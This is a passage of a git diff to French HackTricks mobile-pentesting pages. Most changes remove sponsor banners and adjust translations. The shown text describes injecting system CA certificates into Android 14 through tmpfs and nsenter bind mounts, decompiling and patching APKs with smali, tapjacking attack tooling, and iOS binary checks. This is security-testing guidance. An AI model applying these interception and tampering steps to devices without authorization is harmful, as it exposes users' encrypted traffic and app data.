de **`/apex/com.android.conscrypt`** vers un autre emplacement, le démontage du répertoire **`/apex/com.android.conscrypt`** pour éliminer la contrainte de lecture seule, puis la restauration du contenu à son emplacement d'origine dans **`/apex`**. Cette approche nécessite une action rapide pour éviter les plantages du système. Pour garantir l'application de ces modifications à l'échelle du système, il est recommandé de redémarrer le `system_server`, ce qui redémarre effectivement toutes les applications et ramène le système à un état cohérent. ```bash # Create a separate temp directory, to hold the current certificates # Otherwise, when we add the mount we can't read the current certs anymore. @@ -102,8 +121,8 @@ echo "System certificate injected" ```bash mount -t tmpfs tmpfs /system/etc/security/cacerts ``` -2. **Préparation des certificats CA** : Après la configuration du répertoire écrivable, les certificats CA que l'on souhaite utiliser doivent être copiés dans ce répertoire. Cela peut impliquer de copier les certificats par défaut depuis `/apex/com.android.conscrypt/cacerts/`. Il est essentiel d'ajuster les permissions et les étiquettes SELinux de ces certificats en conséquence. -3. **Montage lié pour Zygote** : En utilisant `nsenter`, on entre dans l'espace de noms de montage de Zygote. Zygote, étant le processus responsable du lancement des applications Android, nécessite cette étape pour s'assurer que toutes les applications initiées par la suite utilisent les certificats CA nouvellement configurés. La commande utilisée est : +2. **Préparation des certificats CA** : Après la configuration du répertoire accessible en écriture, les certificats CA que l'on souhaite utiliser doivent être copiés dans ce répertoire. Cela peut impliquer de copier les certificats par défaut depuis `/apex/com.android.conscrypt/cacerts/`. Il est essentiel d'ajuster les permissions et les étiquettes SELinux de ces certificats en conséquence. +3. **Montage lié pour Zygote** : En utilisant `nsenter`, on entre dans l'espace de noms de montage de Zygote. Zygote, étant le processus responsable du lancement des applications Android, nécessite cette étape pour s'assurer que toutes les applications initiées par la suite utilisent les nouveaux certificats CA configurés. La commande utilisée est : ```bash nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` @@ -113,14 +132,11 @@ Cela garantit que chaque nouvelle application démarrée respectera la configura ```bash nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -5. **Approche alternative - Redémarrage doux** : Une méthode alternative consiste à effectuer le montage de liaison sur le processus `init` (PID 1) suivi d'un redémarrage doux du système d'exploitation avec les commandes `stop && start`. Cette approche propagerait les changements à travers tous les espaces de noms, évitant ainsi la nécessité de traiter individuellement chaque application en cours d'exécution. Cependant, cette méthode est généralement moins préférée en raison de l'inconvénient du redémarrage. +5. **Approche alternative - Redémarrage doux** : Une méthode alternative consiste à effectuer le montage de liaison sur le processus `init` (PID 1) suivi d'un redémarrage doux du système d'exploitation avec les commandes `stop && start`. Cette approche propagerait les changements à travers tous les espaces de noms, évitant ainsi la nécessité de s'adresser individuellement à chaque application en cours d'exécution. Cependant, cette méthode est généralement moins préférée en raison de l'inconvénient du redémarrage. ## Références - [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/) -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md index 0ed12e6fb..bb29ec411 100644 --- a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md +++ b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md @@ -2,15 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Approfondissez votre expertise en **Sécurité Mobile** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} - **Pour plus d'informations, consultez :** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html) -Les applications Android peuvent utiliser des bibliothèques natives, généralement écrites en C ou C++, pour des tâches critiques en termes de performance. Les créateurs de logiciels malveillants utilisent également ces bibliothèques, car elles sont plus difficiles à rétroconcevoir que le bytecode DEX. La section met l'accent sur les compétences en rétro-ingénierie adaptées à Android, plutôt que d'enseigner des langages d'assemblage. Des versions ARM et x86 des bibliothèques sont fournies pour la compatibilité. +Les applications Android peuvent utiliser des bibliothèques natives, généralement écrites en C ou C++, pour des tâches critiques en termes de performance. Les créateurs de logiciels malveillants utilisent également ces bibliothèques, car elles sont plus difficiles à rétroconcevoir que le bytecode DEX. La section met l'accent sur les compétences en rétro-ingénierie adaptées à Android, plutôt que d'enseigner les langages d'assemblage. Des versions ARM et x86 des bibliothèques sont fournies pour la compatibilité. ### Points Clés : @@ -47,10 +41,4 @@ Les applications Android peuvent utiliser des bibliothèques natives, générale - **Débogage des Bibliothèques Natives :** - [Déboguer les Bibliothèques Natives Android en Utilisant JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) -
- -Approfondissez votre expertise en **Sécurité Mobile** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/smali-changes.md b/src/mobile-pentesting/android-app-pentesting/smali-changes.md index 05b22d4cc..4837f7208 100644 --- a/src/mobile-pentesting/android-app-pentesting/smali-changes.md +++ b/src/mobile-pentesting/android-app-pentesting/smali-changes.md @@ -2,17 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Approfondissez votre expertise en **Sécurité Mobile** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} - Parfois, il est intéressant de modifier le code de l'application pour accéder à des informations cachées pour vous (peut-être des mots de passe ou des drapeaux bien obfusqués). Ensuite, il pourrait être intéressant de décompiler l'apk, de modifier le code et de le recompiler. -**Référence des Opcodes :** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html) +**Référence des opcodes :** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html) -## Méthode Rapide +## Méthode rapide En utilisant **Visual Studio Code** et l'extension [APKLab](https://github.com/APKLab/APKLab), vous pouvez **décompiler automatiquement**, modifier, **recompiler**, signer et installer l'application sans exécuter de commande. @@ -52,7 +46,7 @@ apktool b . #In the folder generated when you decompiled the application ``` Il **compilera** le nouveau APK **dans** le dossier _**dist**_. -Si **apktool** génère une **erreur**, essayez d'installer la **dernière version**. +Si **apktool** génère une **erreur**, essayez d'[installer la **dernière version**](https://ibotpeaches.github.io/Apktool/install/) ### **Signer le nouveau APK** @@ -145,10 +139,10 @@ invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/Strin ``` Recommandations : -- Si vous allez utiliser des variables déclarées à l'intérieur de la fonction (déclarées v0, v1, v2...), placez ces lignes entre le _.local \_ et les déclarations des variables (_const v0, 0x1_) +- Si vous allez utiliser des variables déclarées à l'intérieur de la fonction (déclarées v0,v1,v2...), placez ces lignes entre le _.local \_ et les déclarations des variables (_const v0, 0x1_) - Si vous souhaitez insérer le code de journalisation au milieu du code d'une fonction : - Ajoutez 2 au nombre de variables déclarées : Ex : de _.locals 10_ à _.locals 12_ -- Les nouvelles variables doivent être les prochains numéros des variables déjà déclarées (dans cet exemple, cela devrait être _v10_ et _v11_, rappelez-vous que cela commence à v0). +- Les nouvelles variables devraient être les prochains numéros des variables déjà déclarées (dans cet exemple, cela devrait être _v10_ et _v11_, rappelez-vous que cela commence à v0). - Modifiez le code de la fonction de journalisation et utilisez _v10_ et _v11_ au lieu de _v5_ et _v1_. ### Toasting @@ -167,10 +161,4 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/ move-result-object v12 invoke-virtual {v12}, Landroid/widget/Toast;->show()V ``` -
- -Approfondissez votre expertise en **Sécurité Mobile** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/tapjacking.md b/src/mobile-pentesting/android-app-pentesting/tapjacking.md index 0bc54261a..d49b45fd2 100644 --- a/src/mobile-pentesting/android-app-pentesting/tapjacking.md +++ b/src/mobile-pentesting/android-app-pentesting/tapjacking.md @@ -2,10 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - ## **Informations de base** **Tapjacking** est une attaque où une **application malveillante** est lancée et **se positionne au-dessus d'une application victime**. Une fois qu'elle obscurcit visiblement l'application victime, son interface utilisateur est conçue de manière à tromper l'utilisateur pour qu'il interagisse avec elle, tout en transmettant l'interaction à l'application victime.\ @@ -19,7 +15,7 @@ Pour détecter les applications vulnérables à cette attaque, vous devez recher #### Android 12 (API 31,32) et supérieur -[**Selon cette source**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** les attaques de tapjacking sont automatiquement prévenues par Android à partir d'Android 12 (API 31 & 30) et supérieur. Donc, même si l'application est vulnérable, vous **ne pourrez pas l'exploiter**. +[**Selon cette source**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** les attaques de tapjacking sont automatiquement empêchées par Android à partir d'Android 12 (API 31 & 30) et supérieur. Donc, même si l'application est vulnérable, vous **ne pourrez pas l'exploiter**. #### `filterTouchesWhenObscured` @@ -41,20 +37,20 @@ android:filterTouchesWhenObscured="true"> ### Tapjacking-ExportedActivity -La **dernière application Android** effectuant une attaque Tapjacking (+ invoquant avant une activité exportée de l'application attaquée) peut être trouvée ici : [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity). +La **dernière application Android** effectuant une attaque Tapjacking (+ invocation avant une activité exportée de l'application attaquée) peut être trouvée ici : [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity). Suivez les **instructions du README pour l'utiliser**. ### FloatingWindowApp -Un projet exemple implémentant **FloatingWindowApp**, qui peut être utilisé pour se superposer à d'autres activités afin d'effectuer une attaque clickjacking, peut être trouvé dans [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (un peu ancien, bonne chance pour construire l'apk). +Un projet exemple implémentant **FloatingWindowApp**, qui peut être utilisé pour se superposer à d'autres activités afin d'effectuer une attaque clickjacking, peut être trouvé ici [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (un peu ancien, bonne chance pour construire l'apk). ### Qark > [!CAUTION] > Il semble que ce projet ne soit plus maintenu et que cette fonctionnalité ne fonctionne plus correctement -Vous pouvez utiliser [**qark**](https://github.com/linkedin/qark) avec les paramètres `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` pour créer une application malveillante afin de tester les éventuelles vulnérabilités **Tapjacking**.\ +Vous pouvez utiliser [**qark**](https://github.com/linkedin/qark) avec les paramètres `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` pour créer une application malveillante afin de tester les éventuelles vulnérabilités de **Tapjacking**.\ L'atténuation est relativement simple car le développeur peut choisir de ne pas recevoir d'événements tactiles lorsqu'une vue est recouverte par une autre. En utilisant la [Référence des développeurs Android](https://developer.android.com/reference/android/view/View#security): @@ -62,8 +58,5 @@ L'atténuation est relativement simple car le développeur peut choisir de ne pa > > Pour activer le filtrage des touches, appelez [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) ou définissez l'attribut de mise en page android:filterTouchesWhenObscured sur true. Lorsqu'il est activé, le framework rejettera les touches reçues chaque fois que la fenêtre de la vue est obscurcie par une autre fenêtre visible. En conséquence, la vue ne recevra pas de touches chaque fois qu'un toast, une boîte de dialogue ou une autre fenêtre apparaît au-dessus de la fenêtre de la vue. -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-checklist.md b/src/mobile-pentesting/android-checklist.md index 753758152..d8dc55967 100644 --- a/src/mobile-pentesting/android-checklist.md +++ b/src/mobile-pentesting/android-checklist.md @@ -2,11 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -Approfondissez votre expertise en **Sécurité Mobile** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} ### [Apprendre les fondamentaux d'Android](android-app-pentesting/#2-android-application-fundamentals) @@ -40,8 +35,8 @@ Approfondissez votre expertise en **Sécurité Mobile** avec 8kSec Academy. Maî - [ ] Schémas d'URL. - [ ] L'application [sauvegarde-t-elle des données de manière non sécurisée en interne ou en externe](android-app-pentesting/#insecure-data-storage) ? - [ ] Y a-t-il un [mot de passe codé en dur ou sauvegardé sur disque](android-app-pentesting/#poorkeymanagementprocesses) ? L'application [utilise-t-elle des algorithmes cryptographiques non sécurisés](android-app-pentesting/#useofinsecureandordeprecatedalgorithms) ? -- [ ] Toutes les bibliothèques sont-elles compilées avec le drapeau PIE ? -- [ ] N'oubliez pas qu'il existe un certain nombre de [Analyseurs Android statiques](android-app-pentesting/#automatic-analysis) qui peuvent beaucoup vous aider durant cette phase. +- [ ] Toutes les bibliothèques compilées avec le drapeau PIE ? +- [ ] N'oubliez pas qu'il existe un certain nombre de [Analyseurs Android statiques](android-app-pentesting/#automatic-analysis) qui peuvent vous aider beaucoup durant cette phase. ### [Analyse dynamique](android-app-pentesting/#dynamic-analysis) @@ -53,19 +48,14 @@ Approfondissez votre expertise en **Sécurité Mobile** avec 8kSec Academy. Maî - [ ] [Services exposés exploitables](android-app-pentesting/#exploiting-services) ? - [ ] [Récepteurs de diffusion exploitables](android-app-pentesting/#exploiting-broadcast-receivers) ? - [ ] L'application [transmet-elle des informations en texte clair/utilise-t-elle des algorithmes faibles](android-app-pentesting/#insufficient-transport-layer-protection) ? Un MitM est-il possible ? -- [ ] [Inspectez le trafic HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic). +- [ ] [Inspecter le trafic HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic). - [ ] Cela est vraiment important, car si vous pouvez capturer le trafic HTTP, vous pouvez rechercher des vulnérabilités Web courantes (Hacktricks a beaucoup d'informations sur les vulnérabilités Web). -- [ ] Vérifiez les [injections côté client Android possibles](android-app-pentesting/#android-client-side-injections-and-others) (probablement une analyse de code statique aidera ici). +- [ ] Vérifiez les [injections côté client Android possibles](android-app-pentesting/#android-client-side-injections-and-others) (probablement une certaine analyse de code statique aidera ici). - [ ] [Frida](android-app-pentesting/#frida) : Juste Frida, utilisez-le pour obtenir des données dynamiques intéressantes de l'application (peut-être quelques mots de passe...). ### Quelques informations sur l'obfuscation/déobfuscation -- [ ] [Lisez ici](android-app-pentesting/#obfuscating-deobfuscating-code) +- [ ] [Lisez ici](android-app-pentesting/#obfuscating-deobfuscating-code). -
- -Approfondissez votre expertise en **Sécurité Mobile** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting-checklist.md b/src/mobile-pentesting/ios-pentesting-checklist.md index bf46a3014..345b228b3 100644 --- a/src/mobile-pentesting/ios-pentesting-checklist.md +++ b/src/mobile-pentesting/ios-pentesting-checklist.md @@ -1,20 +1,12 @@ # Liste de vérification pour le pentesting iOS -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour créer facilement et **automatiser des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../banners/hacktricks-training.md}} ### Préparation -- [ ] Lisez [**iOS Basics**](ios-pentesting/ios-basics.md) -- [ ] Préparez votre environnement en lisant [**iOS Testing Environment**](ios-pentesting/ios-testing-environment.md) -- [ ] Lisez toutes les sections de [**iOS Initial Analysis**](ios-pentesting/#initial-analysis) pour apprendre les actions courantes à effectuer lors du pentesting d'une application iOS +- [ ] Lire [**iOS Basics**](ios-pentesting/ios-basics.md) +- [ ] Préparer votre environnement en lisant [**iOS Testing Environment**](ios-pentesting/ios-testing-environment.md) +- [ ] Lire toutes les sections de [**iOS Initial Analysis**](ios-pentesting/#initial-analysis) pour apprendre les actions courantes à effectuer lors du pentesting d'une application iOS ### Stockage des données @@ -22,13 +14,13 @@ Accédez dès aujourd'hui : - [ ] [**Core Data**](ios-pentesting/#core-data) (base de données SQLite) peut stocker des informations sensibles. - [ ] [**YapDatabases**](ios-pentesting/#yapdatabase) (base de données SQLite) peut stocker des informations sensibles. - [ ] Mauvaise configuration de [**Firebase**](ios-pentesting/#firebase-real-time-databases). -- [ ] Les [**bases de données Realm**](ios-pentesting/#realm-databases) peuvent stocker des informations sensibles. -- [ ] Les [**bases de données Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) peuvent stocker des informations sensibles. -- [ ] Les [**cookies binaires**](ios-pentesting/#cookies) peuvent stocker des informations sensibles. -- [ ] Les [**données de cache**](ios-pentesting/#cache) peuvent stocker des informations sensibles. -- [ ] Les [**instantanés automatiques**](ios-pentesting/#snapshots) peuvent sauvegarder des informations visuelles sensibles. -- [ ] Le [**Keychain**](ios-pentesting/#keychain) est généralement utilisé pour stocker des informations sensibles qui peuvent être laissées lors de la revente du téléphone. -- [ ] En résumé, vérifiez simplement **les informations sensibles enregistrées par l'application dans le système de fichiers**. +- [ ] [**Les bases de données Realm**](ios-pentesting/#realm-databases) peuvent stocker des informations sensibles. +- [ ] [**Les bases de données Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) peuvent stocker des informations sensibles. +- [ ] [**Les cookies binaires**](ios-pentesting/#cookies) peuvent stocker des informations sensibles. +- [ ] [**Les données de cache**](ios-pentesting/#cache) peuvent stocker des informations sensibles. +- [ ] [**Les instantanés automatiques**](ios-pentesting/#snapshots) peuvent sauvegarder des informations visuelles sensibles. +- [ ] [**Le trousseau**](ios-pentesting/#keychain) est généralement utilisé pour stocker des informations sensibles qui peuvent être laissées lors de la revente du téléphone. +- [ ] En résumé, **vérifiez simplement les informations sensibles enregistrées par l'application dans le système de fichiers.** ### Claviers @@ -66,12 +58,12 @@ Accédez dès aujourd'hui : - [ ] Vérifiez si l'application **enregistre un protocole/schéma**. - [ ] Vérifiez si l'application **s'enregistre pour utiliser** un protocole/schéma. - [ ] Vérifiez si l'application **s'attend à recevoir un type d'informations sensibles** du schéma personnalisé qui peut être **intercepté** par une autre application enregistrant le même schéma. -- [ ] Vérifiez si l'application **ne vérifie pas et ne nettoie pas** les entrées des utilisateurs via le schéma personnalisé et si une **vulnérabilité peut être exploitée**. +- [ ] Vérifiez si l'application **ne vérifie pas et ne nettoie pas** les entrées des utilisateurs via le schéma personnalisé et qu'une **vulnérabilité peut être exploitée**. - [ ] Vérifiez si l'application **expose une action sensible** qui peut être appelée de n'importe où via le schéma personnalisé. - [**Liens universels**](ios-pentesting/#universal-links) - [ ] Vérifiez si l'application **enregistre un protocole/schéma universel**. - [ ] Vérifiez le fichier `apple-app-site-association`. -- [ ] Vérifiez si l'application **ne vérifie pas et ne nettoie pas** les entrées des utilisateurs via le schéma personnalisé et si une **vulnérabilité peut être exploitée**. +- [ ] Vérifiez si l'application **ne vérifie pas et ne nettoie pas** les entrées des utilisateurs via le schéma personnalisé et qu'une **vulnérabilité peut être exploitée**. - [ ] Vérifiez si l'application **expose une action sensible** qui peut être appelée de n'importe où via le schéma personnalisé. - [**Partage UIActivity**](ios-pentesting/ios-uiactivity-sharing.md) - [ ] Vérifiez si l'application peut recevoir des UIActivities et s'il est possible d'exploiter une vulnérabilité avec une activité spécialement conçue. @@ -91,7 +83,7 @@ Accédez dès aujourd'hui : - [ ] Effectuez un [**MitM sur la communication**](ios-pentesting/#network-communication) et recherchez des vulnérabilités web. - [ ] Vérifiez si le [**nom d'hôte du certificat**](ios-pentesting/#hostname-check) est vérifié. -- [ ] Vérifiez/Contournez [**le Certificate Pinning**](ios-pentesting/#certificate-pinning). +- [ ] Vérifiez/contournez [**le Certificate Pinning**](ios-pentesting/#certificate-pinning). ### **Divers** @@ -99,11 +91,3 @@ Accédez dès aujourd'hui : - [ ] Vérifiez les [**bibliothèques tierces malveillantes**](ios-pentesting/#third-parties). {{#include ../banners/hacktricks-training.md}} - -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour créer facilement et **automatiser des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/src/mobile-pentesting/ios-pentesting/README.md b/src/mobile-pentesting/ios-pentesting/README.md index 4b23f053e..54d141caa 100644 --- a/src/mobile-pentesting/ios-pentesting/README.md +++ b/src/mobile-pentesting/ios-pentesting/README.md @@ -1,13 +1,5 @@ # iOS Pentesting -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %} - {{#include ../../banners/hacktricks-training.md}} ## iOS Basics @@ -18,7 +10,7 @@ ios-basics.md ## Testing Environment -Sur cette page, vous pouvez trouver des informations sur le **simulateur iOS**, les **émulateurs** et le **jailbreaking** : +Dans cette page, vous pouvez trouver des informations sur le **simulateur iOS**, les **émulateurs** et le **jailbreaking** : {{#ref}} ios-testing-environment.md @@ -28,7 +20,7 @@ ios-testing-environment.md ### Basic iOS Testing Operations -Lors des tests, **plusieurs opérations vont être suggérées** (se connecter à l'appareil, lire/écrire/télécharger/téléverser des fichiers, utiliser certains outils...). Par conséquent, si vous ne savez pas comment effectuer l'une de ces actions, veuillez **commencer à lire la page** : +Pendant le test, **plusieurs opérations vont être suggérées** (se connecter à l'appareil, lire/écrire/télécharger/téléverser des fichiers, utiliser certains outils...). Par conséquent, si vous ne savez pas comment effectuer l'une de ces actions, veuillez **commencer à lire la page** : {{#ref}} basic-ios-testing-operations.md @@ -40,6 +32,11 @@ basic-ios-testing-operations.md ### Basic Static Analysis +Quelques décompilateurs intéressants pour les fichiers iOS - IPA : + +- https://github.com/LaurieWired/Malimite +- https://ghidra-sre.org/ + Il est recommandé d'utiliser l'outil [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) pour effectuer une analyse statique automatique du fichier IPA. Identification des **protections présentes dans le binaire** : @@ -50,7 +47,7 @@ Identification des **protections présentes dans le binaire** : otool -hv | grep PIE # Il devrait inclure le drapeau PIE ``` -- **Stack Canaries** : Pour valider l'intégrité de la pile, une valeur de ‘canari’ est placée sur la pile avant d'appeler une fonction et est validée à nouveau une fois la fonction terminée. +- **Stack Canaries** : Pour valider l'intégrité de la pile, une valeur ‘canary’ est placée sur la pile avant d'appeler une fonction et est validée à nouveau une fois la fonction terminée. ```bash otool -I -v | grep stack_chk # Il devrait inclure les symboles : stack_chk_guard et stack_chk_fail @@ -62,7 +59,7 @@ otool -I -v | grep stack_chk # Il devrait inclure les symboles : otool -I -v | grep objc_release # Il devrait inclure le symbole _objc_release ``` -- **Binary Encrypted** : Le binaire doit être crypté +- **Binary Encrypted** : Le binaire doit être chiffré ```bash otool -arch all -Vl | grep -A5 LC_ENCRYPT # Le cryptid doit être 1 @@ -138,11 +135,11 @@ grep -iER "_vsprintf" ### Basic Dynamic Analysis -Découvrez l'analyse dynamique que [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) effectue. Vous devrez naviguer à travers les différentes vues et interagir avec elles, mais cela va accrocher plusieurs classes en effectuant d'autres actions et préparera un rapport une fois que vous aurez terminé. +Consultez l'analyse dynamique que [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) effectue. Vous devrez naviguer à travers les différentes vues et interagir avec elles, mais cela va accrocher plusieurs classes en faisant d'autres choses et préparera un rapport une fois que vous aurez terminé. ### Listing Installed Apps -Utilisez la commande `frida-ps -Uai` pour déterminer l'**identifiant de bundle** des applications installées : +Utilisez la commande `frida-ps -Uai` pour déterminer le **bundle identifier** des applications installées : ```bash $ frida-ps -Uai PID Name Identifier @@ -171,7 +168,7 @@ La structure d'un **fichier IPA** est essentiellement celle d'un **package compr - **`_CodeSignature/`** : Ce répertoire inclut un fichier plist qui contient une signature, garantissant l'intégrité de tous les fichiers dans le bundle. - **`Assets.car`** : Une archive compressée qui stocke des fichiers d'actifs comme des icônes. - **`Frameworks/`** : Ce dossier abrite les bibliothèques natives de l'application, qui peuvent être sous forme de fichiers `.dylib` ou `.framework`. -- **`PlugIns/`** : Cela peut inclure des extensions à l'application, connues sous le nom de fichiers `.appex`, bien qu'elles ne soient pas toujours présentes. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata) : Il est utilisé pour sauvegarder les données permanentes de votre application pour une utilisation hors ligne, pour mettre en cache des données temporaires et pour ajouter une fonctionnalité d'annulation à votre application sur un seul appareil. Pour synchroniser des données sur plusieurs appareils dans un seul compte iCloud, Core Data reflète automatiquement votre schéma dans un conteneur CloudKit. +- **`PlugIns/`** : Cela peut inclure des extensions à l'application, connues sous le nom de fichiers `.appex`, bien qu'elles ne soient pas toujours présentes. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata) : Il est utilisé pour sauvegarder les données permanentes de votre application pour une utilisation hors ligne, pour mettre en cache des données temporaires et pour ajouter une fonctionnalité d'annulation à votre application sur un seul appareil. Pour synchroniser les données sur plusieurs appareils dans un seul compte iCloud, Core Data reflète automatiquement votre schéma dans un conteneur CloudKit. - [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html) : Le fichier `PkgInfo` est un moyen alternatif de spécifier les codes de type et de créateur de votre application ou bundle. - **en.lproj, fr.proj, Base.lproj** : Sont les packs de langue qui contiennent des ressources pour ces langues spécifiques, et une ressource par défaut au cas où une langue ne serait pas supportée. - **Sécurité** : Le répertoire `_CodeSignature/` joue un rôle critique dans la sécurité de l'application en vérifiant l'intégrité de tous les fichiers empaquetés grâce à des signatures numériques. @@ -253,11 +250,11 @@ lsof -p | grep -i "/containers" | head -n 1 - **Library/Application Support/** - Contient des **fichiers persistants** nécessaires au fonctionnement de l'application. - **Invisible** **pour** **les utilisateurs** et les utilisateurs ne peuvent pas y écrire. -- Le contenu de ce répertoire est **sauvegardé**. +- Le contenu de ce répertoire **est sauvegardé**. - L'application peut désactiver des chemins en définissant `NSURLIsExcludedFromBackupKey`. - **Library/Preferences/** - Utilisé pour stocker des propriétés qui peuvent **persister même après le redémarrage d'une application**. -- Les informations sont sauvegardées, non chiffrées, à l'intérieur du bac à sable de l'application dans un fichier plist appelé \[BUNDLE_ID].plist. +- Les informations sont sauvegardées, non chiffrées, à l'intérieur du sandbox de l'application dans un fichier plist appelé \[BUNDLE_ID].plist. - Tous les paires clé/valeur stockées en utilisant `NSUserDefaults` peuvent être trouvées dans ce fichier. - **tmp/** - Utilisez ce répertoire pour écrire des **fichiers temporaires** qui n'ont pas besoin de persister entre les lancements de l'application. @@ -280,9 +277,9 @@ Regular 420 None ... LICENSE.txt Regular 420 None ... Sentinel.txt Regular 420 None ... README.txt ``` -### Binary Reversing +### Reversement Binaire -Dans le dossier `.app`, vous trouverez un fichier binaire appelé ``. C'est le fichier qui sera **exécuté**. Vous pouvez effectuer une inspection de base du binaire avec l'outil **`otool`** : +À l'intérieur du dossier `.app`, vous trouverez un fichier binaire appelé ``. C'est le fichier qui sera **exécuté**. Vous pouvez effectuer une inspection de base du binaire avec l'outil **`otool`** : ```bash otool -Vh DVIA-v2 #Check some compilation attributes magic cputype cpusubtype caps filetype ncmds sizeofcmds flags @@ -360,14 +357,6 @@ double _field2; ``` Cependant, les meilleures options pour désassembler le binaire sont : [**Hopper**](https://www.hopperapp.com/download.html?) et [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/). -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) pour construire et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %} - ## Stockage des données Pour en savoir plus sur la façon dont iOS stocke les données sur l'appareil, lisez cette page : @@ -378,25 +367,25 @@ ios-basics.md > [!WARNING] > Les endroits suivants pour stocker des informations doivent être vérifiés **juste après l'installation de l'application**, **après avoir vérifié toutes les fonctionnalités** de l'application et même après **s'être déconnecté d'un utilisateur et s'être connecté à un autre**.\ -> L'objectif est de trouver des **informations sensibles non protégées** de l'application (mots de passe, jetons), de l'utilisateur actuel et des utilisateurs précédemment connectés. +> L'objectif est de trouver **des informations sensibles non protégées** de l'application (mots de passe, jetons), de l'utilisateur actuel et des utilisateurs précédemment connectés. ### Plist -Les fichiers **plist** sont des fichiers XML structurés qui **contiennent des paires clé-valeur**. C'est un moyen de stocker des données persistantes, donc parfois vous pouvez trouver 